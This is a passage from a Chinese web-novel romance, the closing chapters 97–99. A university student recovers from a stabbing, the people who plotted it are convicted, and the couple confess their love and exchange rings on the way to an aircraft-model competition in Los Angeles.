“就你一个人吗?”护士看这年纪也不大的女孩轻声问,见夏篱魂不守舍地点头,委婉提醒她,“你应该还是学生吧?最好还是联系下学校老师或是家长,你同学情况看着挺严重的……待会可能需要签字的。” “学校那边我已经联系过了,他们老师现在应该在赶来的路上。”没等夏篱开口,护士听到身后高跟鞋走近的声音。 夏篱和护士闻声一齐扭头,看到一脸严肃的岑静朝着两人走过来。 护士点点头,离开了。 “……谢谢岑总。”夏篱哑声说。 岑静微微颔了颔首,“周社长他们跟着警察去做笔录了,我过来看看。” 夏篱捏紧了手里的毛巾,抬头看着抢救室上的红灯没说话。 岑静看着眼眶通红的夏篱,轻轻叹了口气。 “那个女人你们认识吗?” 夏篱摇摇头。 “我听我助理的意思,”岑静斟酌道,“这事应该跟冯哲有关。” “……冯哲?”夏篱喃声重复。 “嗯。那个女人是冯哲的一个情妇,好像还给他生了个儿子。”岑静说,“我助理说她见过他带她参加过宴会。我猜应该是冯哲进去后,树倒猢狲散,她没了经济来源,这才会把帐算到你身上……圈里确实有传言举报冯哲的是个大学生。 “她估计也是查到了冯哲被逮那天新闻照片上的人是你。” 可现在躺在抢救室的人却不是她。 “等警察调查结果出来吧,”少顷,岑静拍了拍她的肩膀,“我已经让助理帮忙联系专家了,如果后续有任何需要,你都可以联系我。” “谢谢岑总。”夏篱感激地看她。 岑静并没待多久,陪了一会儿夏篱就被几个电话call走了。 走廊里再次变得安静起来。 夏篱盯着门上亮起的“手术中”,一方面期待着它熄灭,一方面又害怕它真的灭了。 指节已经被她抠出了血,她紧攥着手机,做了许久的心理建设,才深吸两口气抖着手拨通了干妈的电话。 因为在部队里不是很方便联系,除了假期,工作日夏篱几乎很少打云昭昭的电话的。可今天却意外地一下子就拨通了。 “嗨宝贝,”那边的云昭昭声音听起来很是高兴,“今天怎么想起来给干妈打电话了?阿简呢?你们在一起吗?吃午饭没有?吃得什么?快给干妈拍照瞧瞧。” “干妈……”一听到云昭昭的声音,夏篱直接绷不住地哭了。 她一哭,云昭昭在那边瞬间慌了,忙问怎么回事,是不是唐简欺负她了。 她让她别哭,让唐简接电话,看她不骂死他。 “不是,不是这样的。”夏篱拿手背擦眼泪,抽噎着断断续续把刚刚发生的事重复了一遍。 “对不起,干妈。”夏篱哽咽道歉,内疚到无以复加,“都是因为我。” “这不是你的错宝贝,”电话那头安静了一瞬,云昭昭轻声安慰她,“别怕,干爸干妈这就过去。别害怕,没事的没事的,嗯?” 夏篱听着云昭昭那难掩颤抖却还要努力安慰她的声音,挂断电话,趴在膝盖上哭得上气不接下气。 如果他因为她而出事,她一辈子都无法原谅自己。 “夏篱!”不知过去多久,做完笔录的周予和陈默气喘吁吁地跑了过来,看到蹲在地上、浑身是血的夏篱,两人都倒吸一口凉气。 周予蹲下身,想扶她起来,却又不知该如何安慰,只能干涩地说:“学妹,你别这样……唐简他……他一定会没事的。他身体素质那么好……” 陈默看着抢救室的门,眉头紧锁。 又过了会儿,学校老师领导等陆续都赶到了医院。航模社的其他成员和唐简室友,甚至连方茴和乐苗都到了。走廊里挤满了人。 王副院长脸色铁青,一方面担忧学生的安危不好和家长交差,另一方面也为这突如其来的恶性事件感到震怒。 孙翡几个女孩子哪见过这种可怕的情形,看到夏篱的样子,眼泪一下子就出来了,她冲过去抱住夏篱,声音里全是哭腔:“篱篱你怎么样?有没有受伤?唐简学长他……我的天,这都是他的血吗?……” 夏篱只是摇头,一句话也说不出来。 时间在焦灼的等待中缓慢爬行。 终于,抢救室的门开了,但灯并未灭。 是一个年纪稍长的护士拿着几张纸出来,问唐简的监护人是谁。 夏篱猛地站起身,因为起得太猛,眼前一阵发黑,幸好被孙翡和方茴一左一右扶住。 “我。我是他女朋友。”她吞了吞口水,看着护士手里的纸就觉得浑身发抖。 护士看着她平铺直叙地皱了皱眉:“女朋友?家长没在吗?” “你好医生,”王副院长这时候上前,“唐简是我们北城大学的学生,我是他老师。他父母现在在外地,已经在赶来的路上了。” “哦,老师啊。”护士把手里的几张纸递给他,“是这样,患者手腕部桡动脉部分断裂,伴有肌腱和神经损伤,失血量很大。万幸的是,送来得还算及时,压迫止血也做得比较到位,没有造成不可逆的休克。我们刚刚给他输了血,现在医生已经在给患者做手术了,这是手术同意书,请签一下吧。” 王副院长接过笔,看看手里的纸,再看护士,“那……意思是学生生命没危险了是吧?” “我们肯定会尽力的。”护士说。 “……”王副院长看看手里的纸,再看护士,似乎还想再说什么,手里的笔和纸被夏篱抽过去,她在上面写了自己名字后把纸和笔递回给那护士。 那护士刚接手,还没来得及说话,就听门里有人叫她名字。 “明姐明姐,”另外一个年纪稍小的护士露了半个身子出来,看着护士快速道,“不用签字了,先进来吧。” 夏篱听着心里咯噔一下,还以为手术出了意外。刚想开口问,就又听那小护士道,“院长打过来电话了。” 被称作“明姐”的护士闻言睁大了眼,“院长?” 这什么情况? 小护士忙不迭点头,视线扫了眼一众人,最后在夏篱脸上停顿了一秒钟,随后焦急地冲“明姐”招了招手,“你先快进来吧,院长人一会儿就到。” 手术室的门再次紧紧合上。 门外的人面面相觑,连方茴和孙翡她们也都互相看了眼,看到对方眼里难以掩饰的几分好奇。 ……院长? 数个小时后,身着常服的唐峥和云昭昭步履匆匆地赶到ICU门外。王副院长看着夏篱边唤了声“干妈”边哭着扑进女人怀里,虽然他并不认得两人,但看二人身着常服,尤其男人器宇不凡冷峻肃穆的模样,心道声“不好”,冷汗“唰”一下就淌了整背。 第98章 医院院长和主治医生跟在唐峥和云昭昭身后。 王副院长看着二人常服上的肩章, 额头也跟着沁出冷汗。 “干妈、干爸,”夏篱声音哽咽,看着云昭昭和唐峥内疚地无以复加。“对不起, 是因为我——” “宝贝,别说傻话。”云昭昭用力抱了抱她, “这不是你的错。我和爸爸已经从院长那了解了阿简的情况,你们两个人平安才是最重要的。” 一旁的唐峥也轻轻拍了拍她的头,“不担心,其他的干爸会处理的。” 自遇袭而佯装起来的坚强因为亲人的到来而终于溃堤,夏篱将脸埋在云昭昭怀里, 痛哭出声。 也不知道过去多久, 走廊另一端又传来一阵急促的脚步声。 夏引之、雷镜, 还有在甘棠的宋欧阳夏天等人, 也在助理和医护人员的陪同下匆匆赶到。夏引之看到夏篱浑身是血的样子,大惊失色。 十几个人瞬间把方才还算安静的走廊填满,王副院长目光扫过一众看起来气质就异于常人的人, 内心就一阵的叹息。突然,他目光定格在宋欧阳身上,猛地一震, 难以置信地快步上前,语气激动又带着敬畏:“您……您是宋院士?!” 两院院士, J-2190的总设计师,还是北城大学终生荣誉教授的宋欧阳? “宋院士, 我是王华东,现在是航空学院的副院长,当年您在学校做最后一场学术报告时,我还是个刚留校的助教, 我——” 宋欧阳大病初愈,脸色并不太好,但眼神依旧锐利。他对着王华东微微颔首,没有寒暄,抬手轻轻打断他:“王院长,客套话稍后再说。阿篱是我外孙女,现在里面躺着的是我外孙,我们先处理眼前的事。” “是是是,您说的是。”王华东立刻收敛了神色,连声应道,退到一旁,心中却是波涛汹涌。 平日看这两个学生的行事作风,他哪里会想到他们的背景竟然会如此显赫到深不可测。 而夏篱看到风尘仆仆赶来的家人,尤其是外公外婆他们,内疚混着委屈让她万分难受。 等人到齐了,唐峥对云昭昭低声道:“你跟院长进去亲眼看看儿子情况,阿桥会在这里陪着你们,我和阿镜去趟警局。” 云昭昭握了握他的手,“有进展及时告诉我。” “放心。”他拍拍她的肩膀。 唐峥和雷镜对视一眼,从小长大的默契,让他们轻易看到彼此眼中那抹难以掩饰的狠戾。 动了他们家的宝贝,必须付出代价。 而唐峥和雷镜的共同出手,效率是惊人的。 雷镜动用雷氏集团的能量和人脉,调查速度远超警方常规流程。金钱开道,信息网络迅速运转,很快就锁定了关键线索——那个行凶的女人在事发前,曾收到过一笔来自海外的匿名汇款,而经过层层剥离,最终追踪到一个叫几天科技的空壳公司。 而和这个空壳公司账目上业务往来最多的子恒股份有限公司的法人母梅有个独子,是北城大学航空学院大二的学生,名字叫——陆子航。 接下来的问题便简单多了,也是因为这样,雷镜和唐峥两人才知道自家这双儿女,竟然遇到过这么多麻烦,而他们却从未跟他们提起过。 当初凌空科创主动找上航模社赞助就是陆子航背地里牵的线,而他就是听说过冯哲表面道貌岸然背地里风流成性的龌龊性子才故意让他接近航模社接近夏篱的。只是让他没想到的是冯哲会那么没用,甚至还被人匿名举报去蹲了局子。 在名古屋的比赛,目睹夏篱团队大放异彩而自己团队的惨败,陆子航自然更是心生嫉恨,这才想方设法找到了这个走投无路的女人,不仅提供了夏篱的照片和行程信息,还一度暗示她一切的根源都在夏篱身上,并给了她一笔钱,煽动她进行报复。 拿到确凿证据后,雷镜直接将所有材料打包,亲自联系了北城市局的领导。他的语气非常客气,但态度却强硬明确:这不是简单的伤害案,而是有预谋有计划的故意杀人未遂,性质极其恶劣,必须严惩主谋和行凶者。 与此同时,唐峥那边也动了。 他没有直接干预司法,而是通过正规渠道,向相关部门反映了情况。一位现役军官的直系亲属因保护他人而遭受严重人身伤害,尤其他还联合北城大学和海军航海大学校方一起,针对唐简作为两所大学乃至国家重点培养人才对象一齐施压,直指凶徒动机卑劣,社会影响极坏。他要求依法从严从快处理,维护军人家庭的合法权益,给受害者一个公正的交代。 两股、三方巨大的力量,让这个案子瞬间成为了北城市政法系统头等关注的要案。唐峥更是以其身份和影响力,确保了此案在司法系统内得到最高程度的重视,没有任何人敢在其中徇私舞弊、暗中操作。压力层层传导,法院方面表示一定会依法从严、从重审理。 陆家试图通过各种关系斡旋,但在雷氏集团的商业碾压和唐峥带来的无形压力下,所有门路都被彻底封死。 陆子航很快被警方正式逮捕。 正式被捕那天,陆家父母还在学校试图“说服”校方以“犬子年幼不懂事”让他们帮忙给受害方父母说些好话,因为自事发之后不论他们如何“威逼利诱”就是见不到他们任何一个人。而校长看着他们放在办公桌上的那一皮箱子钱,整个人却是被吓得面如土色。连连后退到墙边朝门口同样目瞪口呆的助理大喊:“报警!报警!快报警!!!” 这到底是哪里来的两个蠢货!!! 也因此,陆家父母因行贿公职人员和自家儿子在全校师生的见证下于同一天一起喜提一副银手镯。紧接着,唐铮让勤务兵把手里陆家父母试图贿赂他放过自己儿子的证据一并提交上去,叠加以巨额行贿现役军官的问题,两口子估计下半辈子都要在牢里度过了。 案件的侦办和审理进程以惊人的速度推进。 证据链完整清晰,法院很快开庭审理。 在强大的司法压力下,行凶的女人和陆子航均被重判。女人因故意杀人未遂、故意伤害等罪名,被判处无期徒刑。陆子航作为教唆主犯,同样因故意杀人未遂等罪名,被重判处以无期徒刑。 判决结果公布,跟陆子航家里所有有关联的公司彻底垮塌,企业也随之破产清算。 这一切发生得极快,从事发到判决,不过月余时间。 期间,唐简在ICU观察了三天后,生命体征平稳,转入了VIP病房。 第四天清醒后,他看着因为自己而担忧奔波的父母们,觉得万分歉意。 “对不起,是儿子给你们添麻烦了。”唐简握着夏篱的手,听她大概跟自己说了前因后果后,看床边短短几天仿佛都瘦了一圈的父母,第一件事就是自我检讨,“是我小看了陆子航,也太自负不小心了,以为摆平冯哲就可以,没想到事情会变成这样。” 唐峥看着自家儿子,闻言眼里却满是骄傲。 他弯腰摸摸儿子的头发,半是认真半是玩笑地说,“作为伴侣,你做到了自己该做的;身为学生,你也做到了自己能做的。只是以后做事别忘了‘釜底抽薪’,毕竟比鬼神更可怕的,是人心。记住了吗?” 唐简看着老爸露出一个笑:“嗯。记住了。” 一个星期后,待唐简各项指标正常,唐峥和云昭昭带他回了部队军医院接受后续康复治疗。 部队医院的康复科设施先进,管理严格。 主治医生依据他的身体情况制定了激进但科学的复建方案,唐简的每日日程甚至被精确到分钟。 清晨六点体能训练,上午物理治疗,下午神经功能恢复训练,晚上理论学习。 唐简右手腕部的桡动脉缝合术后情况稳定,但肌腱和神经损伤需要系统训练。为了尽快恢复,他拒绝使用止痛药,在器械训练中每每疼得汗如雨下,嘴唇抿成直线也从没吭过一声。 唐简配合所有治疗,进度快于预期。 医生评估四周后手腕功能最快可恢复八成。 唐峥每天抽时间来看他一次,站在训练室外观察十分钟便离开,和夏篱跟唐简通话视频时一样,从不询问进展。 唐简离开后,夏篱摒弃外界一切,专注带领团队继续攻坚对“探索者3号”的最后优化。 她把每天分成三个时段:上午测试新舵机响应,下午跑仿真模型,晚上分析数据,每天工作至少十四小时起步。 夏篱知道唐简决定跟着干爸干妈到军医院做后续治疗,除了想要尽快恢复,最重要的是他担心他自己在这里会让她无法专心。 第十天,唐简开始负重训练。第十二天,他已能完成基础抓握。 康复师对他的恢复速度表示惊讶,不由感叹年轻就是好。 而夏篱这边却遇到了技术瓶颈。 新材料的振动特性导致数据异常,团队连续工作三十二小时,最终发现是谐振频率匹配问题。夏篱只好重新计算结构参数,幸好问题在一个通宵后顺利解决。 第十八天,唐简进行精细动作测试。结果显示手部功能恢复已达七成,医生批准他增加训练强度。 距洛杉矶全球总决赛还剩下十七天时,航模社完成“探索者3号”首次全系统测试。 性能参数超出预期,但矢量喷口在极限工况下出现延迟。 夏篱和何晓雯通宵改写控制算法,唐简视频给她们提供硬件角度建议。 次日测试,问题解决。 第二十四天,唐简通过全部基础考核。医生批准他进行适应性飞行训练。他用模拟器完成两小时操作,手腕未出现不良反应。 航模社进入最后冲刺,所有成员进行最后检查,确保每个部件达到最佳状态。 第二十八天,唐简完成最终康复评估。手腕功能恢复至八成五,获准归队。 他立即订票返回北城。 此时距比赛还有五天。 第二天清晨,夏篱像往常一样早上七点到达307实验室。 她推开门的瞬间,动作顿住了。 唐简站在实验室中央,正在看桌上摊开的新结构图纸。 他穿着简单的黑色T恤,右手小臂至手掌还戴着专用的复健加压护具,但身姿依旧挺拔。 听到开门声,他回过头。 夏篱站在原地,看了他几秒钟。然后她走过去,没有拥抱,也没有多余的话。 半晌,她低头看向他戴着护具的右手,低声问:“医生允许你回来了吗?” 唐简没应声。 须臾,他抬起右手用指尖兜着她下巴让她抬头看自己,轻轻给她擦掉脸上滚落的泪珠,笑笑道: “你亲亲我,亲完我就告诉你。”—— 作者有话说:顺利的话,下章就是正文最后一章了。[抱抱]《 》 【正文完】 第99章 夏篱看着唐简近在咫尺的脸。 他瘦了些, 下颌线更加清晰。虽然原本肤色也很白,但短短一个月的“休养”依然能看得出来大量失血后略显苍白的白。 唐简没有催促,用戴着护具的右手指尖, 极轻极轻地,像对待稀世珍宝一样, 摩挲着她的下颌皮肤,带来一阵微痒的、真实的触感。 实验室里安静得能听到窗外远处传来的隐约车声,以及彼此交织的呼吸。 夏篱踮起脚尖,仰起头,将自己的唇印在他的唇上。 她的唇瓣微凉, 带着方才泪水的咸涩, 贴在他温热的唇上, 轻轻厮磨, 仿佛在确认他的真实存在。 一开始,唐简并没有加深这个吻,甚至没有动, 只是微微俯身配合着她的高度,任由她用自己的方式“检查”和“确认”。他垂着眼睑,长长的睫毛在眼下投下淡淡的阴影, 感受着唇上传来的轻微颤抖和那份小心翼翼的触碰,心脏像是被最柔软的羽毛拂过, 又酸又胀。 他知道,这一个月吓坏她了。 一直等夏篱略微停顿想要离开时, 唐简才用左手环住她的腰,将她更深地拥入怀中,低头回应这个吻。实验室清晨的宁静里,窗外的阳光透过玻璃, 洒在相拥的两人身上,温暖斑驳。 许久,唐简额头抵着她的,呼吸还有些微喘。但仿佛这一个吻还不够表述自己的思念,搂在夏篱腰后的手突然用力,将她整个人直直抱离地面原地转了两圈,同时鼻尖在她颈窝里用力蹭了蹭,低声道:“我好想你。” 夏篱被他突如其来的动作吓了一跳,原本因为担心他手臂,刚要开口制止他,结果在听到耳边的声音时,话头就一下子哽在了喉咙里。 她搂紧他后颈,深吸口气,靠着他耳边轻声回应:“嗯。我爱你。” 一开始,唐简并没反应过来什么,但紧接着,夏篱能明显感觉到他整个人僵在原地。 良久,他慢慢松开她,让她双脚重新站在地板上。 “你……”唐简低眉看着她,刚张口想说什么就被夏篱轻轻捂住了嘴。她回看着他一双眼,认真重复:“我说,‘我爱你’。唐简。” 她不等他开口,紧接着又道:“那天在名古屋酒店里,你说我‘不明白’,我没法骗你。当时我确实有些困惑,也有些迷茫。” “我只知道我喜欢你,非常喜欢。” “我喜欢你陪在我身边的感觉,喜欢我们无论如何吵闹也散不开的关系,也喜欢我不论说什么做什么,只要我回头就能看到你的踏实感。” “可是外公那次病倒,却让我开始疑惑,我们……真的也可以像他们那样历经数十年风雨,淬炼出那种深入灵魂、此生唯你的生死羁绊吗?” “我相信你,就像我相信自己的真心一样,可‘永远’这个词,太重了。” “但是那天当我看见你倒在血泊里,那种即将失去你,再也看不到你的绝望和恐惧……唐简,我再也不想体会第二次了。” “我爱你。我爱你,唐简。” 不止是喜欢,是爱。 是想要和你共度余生,无论顺境逆境,无论咫尺天涯的爱。 可是,这个让她成长,让她真正认清自己心的代价太大了。 他们差点让她失去了他。 “我讨厌陆子航,我讨厌冯哲,我讨厌那个女人……我讨厌他们每一个人……”夏篱到底没忍住,哽咽出声。 “嘘……”终于回过神来的唐简就觉得心脏一阵钻心的疼,他重新把她抱进怀里,大手轻轻摩挲着她脑后,低声道:“我没事了,没事了,都过去了……” 假如可以再给他一次机会,唐简发誓,就像老爸告诫的他一样,他一定会把这些让她糟心的人和事解决的更干净、更漂亮。 绝不会有让她此时伤心和担忧的可能。 唐简的怀抱温暖而坚实。 夏篱将脸深深埋在他颈窝,用力吸了吸鼻子。 窗外,北城初夏的阳光愈发灿烂,透过玻璃,在布满图纸和零件的工作台上投下明亮的光斑,也照亮了空气中尚未完全散去的、细微的尘埃。 良久,夏篱才微微动了动,抬起头,眼眶和鼻尖还泛着红,但眼神已经恢复了清亮。她伸出手,指尖极其轻柔地触碰了一下他右手小臂上的黑色复健加压护具。 “还疼吗?”她的声音带着浓重的鼻音,小心翼翼地问。 唐简低头看她,拿指节轻轻蹭了蹭她眼角,才勾起一抹惯常带着点痞气的笑,“早不疼了。就是戴着这玩意儿有点碍事。”他动了动右手手指,示意自己恢复得不错,“不然刚才抱你转圈还能再多转几圈。” 她知道他不想让自己担心,故意在跟自己闲扯,嗔怪地瞪他一眼,手上动作却放得更轻:“少逞强。医生到底怎么说的?允许你进行高强度操作了吗?还有……” “放心,”唐简打断她的担忧,笑道,“模拟测试都通过了,适应性训练也没问题。医生批准我归队,就是认定我能应付。”他低头在她唇上偷了个吻,继而认真道,“放心,我不会拿自己的未来开玩笑,更不会拿我们的项目冒险。” 唐简的归队,像是给紧绷许久的团队注入了一剂强心针,也让最后几天的备战节奏变得更加紧凑而有序。然而,尽管有医生的许可,团队内部,尤其是周予,看着唐简右手那显眼的黑色护具,眼底深处仍不免藏着一丝挥之不去的忧虑。 全球总决赛在即,“探索者3号”的性能已臻化境,对飞手的要求也达到了前所未有的高度。任何一个微小的延迟或力道偏差,都可能在高难度科目中造成截然不同的结果。 周予几次欲言又止,目光在唐简的护具和刘淌之间逡巡。 刘淌作为团队备用的试飞手,其实之前一直在唐简的带领下保持训练,以此技术相较于夏篱最开始看到的提升了不止两个度,尤其他在唐简受伤期间承担了大部分的地面测试和模拟飞行任务,表现也可圈可点。 但所有人却也都清楚,唐简那种与生俱来的飞行直觉、在极限状态下的冷静判断以及和夏篱之间难以言喻的默契,是任何人都无法替代的。 这天下午,在进行最后一次全系统模拟器联调前,唐简主动走到周予和刘淌面前。 他目光扫过两人,直言开口,“我知道大家对我受伤的伤还有顾虑。模拟器数据再好,也不如实际操控有说服力。”他顿了顿,看向实验室角落那两台并排放置、连接着高精度飞行模拟软件的操控台,“我和刘淌比一场吧。就比《天空竞技场》里‘精密走廊’那个关卡,看谁用时短、碰撞少。” 《天空竞技场》是他们平时用来锻炼手眼协调和精细操作的游戏,其中“精密走廊”模式以其变态的狭窄通道和随机出现的障碍物文明,极其考验操作的精准度和稳定性,正适合模拟飞行器在复杂环境下的穿障性能。 刘淌愣了一下,随即明白了唐简的用意。 这不是挑衅,而是用最直接的方式证明自己,打消所有人的疑虑。 刘淌推了推眼镜,脸上露出认真的神色:“好。” 没有多余的废话,两人各自在一台操控台前坐下,戴上头戴式显示设备。 实验室里其他人都停下了手中的工作,自发围拢过来,气氛瞬间变得凝重而充满期待。夏篱站在唐简侧后方,看着他戴上设备后挺拔的背影,以及那依旧覆着黑色护具的右手稳稳握住飞行摇杆,指尖微微蜷缩。 比赛开始。 大屏幕上同步显示出两人的第一视角和飞行数据。 “精密走廊”名不虚传,蜿蜒曲折的通道仅比虚拟飞行器的翼展宽少许,四处悬浮着不规则移动的能量障碍,稍有不慎就会碰撞扣分,甚至直接“坠毁”。 刘淌的操作非常稳健,飞行轨迹平滑,小心翼翼地规避着每一个障碍,速度保持得相当不错。 而唐简的飞行风格却截然不同。 他的飞行器像是拥有了生命,在狭窄的通道内以一种近乎舞蹈般的姿态穿梭。动作看似惊险,时常贴着障碍物的边缘掠过,却总能妙到毫巅地避开碰撞。 唐简的操作频率极高,右手在摇杆上细微而精准地抖动、推移,左手在辅助键上飞快切换,那黑色的护具似乎并未对他造成任何影响。飞行器在他的操控下,不仅速度快,而且路径选择极其刁钻高效,仿佛他脑中自带一幅最优解地图。 “这……”王海看着屏幕上唐简那行云流水、几乎没有任何冗余动作的操作,忍不住喃喃低语,“这也太变态了吧……” 何晓雯盯着数据流:“有效操作率百分之九十七以上,路径优化程度……超出标准模型百分之二十五……天赋这种东西,真是让人无话可说。” 周予张着嘴,看看唐简屏幕上流畅得令人眼花缭乱的画面,再看看刘淌虽然稳健但明显慢了一截的进度,最终只能化作一声叹息,拍了拍旁边陈默的肩膀,一切尽在不言中。 刘淌也感受到了压力,额角渗出细密的汗珠。 他已经发挥出了自己的最佳水平,但在唐简那种仿佛与飞行器融为一体的绝对掌控力面前,还是显得力有不逮。 最终,唐简的虚拟飞行器以一个干净利落的甩尾,冲出了终点线。 屏幕上显示出成绩: 唐简-用时2分18秒47,碰撞次数:0;刘淌-用时2分45秒21,碰撞次数:2. 胜负毫无悬念。 唐简摘下设备,额角也有些许汗意,但呼吸平稳。 他活动了一下右手手腕,看向刘淌,伸出左手:“承让。” 刘淌看着唐简坦荡的眼神,伸手和他一握,摇头由衷道:“简哥,我真服了。你这手……真是老天爷赏饭吃。”他顿了顿,补充道,“放心,需要的时候我随时顶上。” 一场简洁甚至称得上友好的比赛,彻底打消了团队内部最后的疑虑。 唐简用实力证明,即使带着伤,他依然是那个无可替代的顶级飞手。而他所展现出的那种近乎本能般的飞行天赋,除了让人叹服,也的确生不出丝毫嫉妒之心——那是一种让人连追赶念头都难以升起的差距。 出发前往洛杉矶的日子转眼即至。 巨大的波音客机轰鸣着冲上云霄,将北城初夏的喧嚣远远抛在下方。机舱里,灯光调暗,大部分乘客都盖着毛毯陷入沉睡。 经过连日高强度的最后冲刺和长途飞行的疲惫,航模社的成员们也都东倒西歪地昏睡过去。 夏篱和唐简坐在靠窗的一排。 他看她睡着后,给她小心掖了掖毛毯,也调整了一下姿势,闭上眼。 没多久,夏篱听着耳边呼吸逐渐变得均匀绵长,悄悄,悄悄地睁开了眼。 她借着阅读灯微弱的光线,凝视着唐简安静的睡颜。 一个月前的惊魂一幕,此刻回想起来依旧让她心有余悸。指尖下意识地抚上自己锁骨间那枚小小的涡轮叶片吊坠,冰凉的金属触感让她纷乱的心绪稍稍安定。 少顷,她动作轻微地从随身的小包里拿出一个深蓝色丝绒小盒子,小心地打开——里面并排躺着两枚戒指。 戒指的设计极其简约,铂金指环,内圈刻着彼此名字的缩写“J& L”。 男款戒指稍宽,表面做了细微的拉丝处理,低调而硬朗;女款戒指纤细,在指环中央镶嵌着一排几乎看不见的微小钻石,如同夜空中隐约的星河——这是她在唐简康复期间,偷偷画图找师傅定做的。 夏篱深吸一口气,像做贼一样,屏住呼吸,小心翼翼地拿起那枚男款戒指。 她看了一眼唐简,见他依旧睡得沉静,呼吸平稳。 心跳得好快…… 放轻松,放轻松…… 夏篱自我安慰地摸了摸自己胸口,然后轻轻托起唐简搭在扶手上的左手。 他的手指修长,骨节分明,指腹带着一层薄薄的茧。 她捏着戒指,极其缓慢、轻柔地,套向他的无名指。 冰凉的金属触感让唐简的指尖几不可察地动了一下。 夏篱动作一顿,紧张地抬眼看他。 唐简依旧闭着眼,仿佛只是无意识的生理反应,唇角却在她看不到的角度,极其细微地向上弯了一下。 夏篱松了口气,继续动作,终于将那枚戒指稳稳地推到了他的指根。 大小正合适。 她看着那枚简约的戒指在他骨节分明的手指上,仿佛本就该在那里一样,心中涌起一股难以言喻的满足。 夏篱悄悄收回手,把那枚女款戒指戴到自己右手无名指,抖了抖手指自我欣赏一番,满意地把那小盒子重新放回到包里,然后像什么都没发生过似的,轻轻靠回自己的椅背,闭上了眼睛。 过了一会儿,她感觉到身边人的动静。 唐简似乎调整了一下姿势,然后,一只温热的大手轻轻覆上了她放在腿上的手,手指穿过她的指缝,紧紧握住。 两只戒指硌在两人相贴的皮肤之间,存在感鲜明——仿若他贴在她指节上轻轻颤抖的唇。 飞机平稳地飞行在平流层,穿过云海,向着大洋彼岸的目的地,向着他们梦想的下一站,疾驰而去。 未来如同窗外广阔的天地,等待着他们去书写,去征服。而夏篱和唐简的故事,正如这趟航班一样,刚刚启程,在这万米高空,悄然交汇,熠熠生辉。 ——正文完———— 作者有话说:番外会填简介里篮球赛的坑,其他的还没想好。0.0 鞠躬。《 》